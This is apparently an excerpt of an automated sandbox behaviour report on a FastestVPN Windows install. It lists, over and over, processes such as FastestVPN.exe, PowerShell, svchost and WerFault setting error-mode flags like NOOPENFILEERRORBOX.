    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files\FastestVPN\FastestVPN.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\System32\svchost.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
    Source: C:\Program Files\FastestVPN\Service\FastestVPN.WindowsService.exeProcess information set: NOOPENFILEERRORBOX
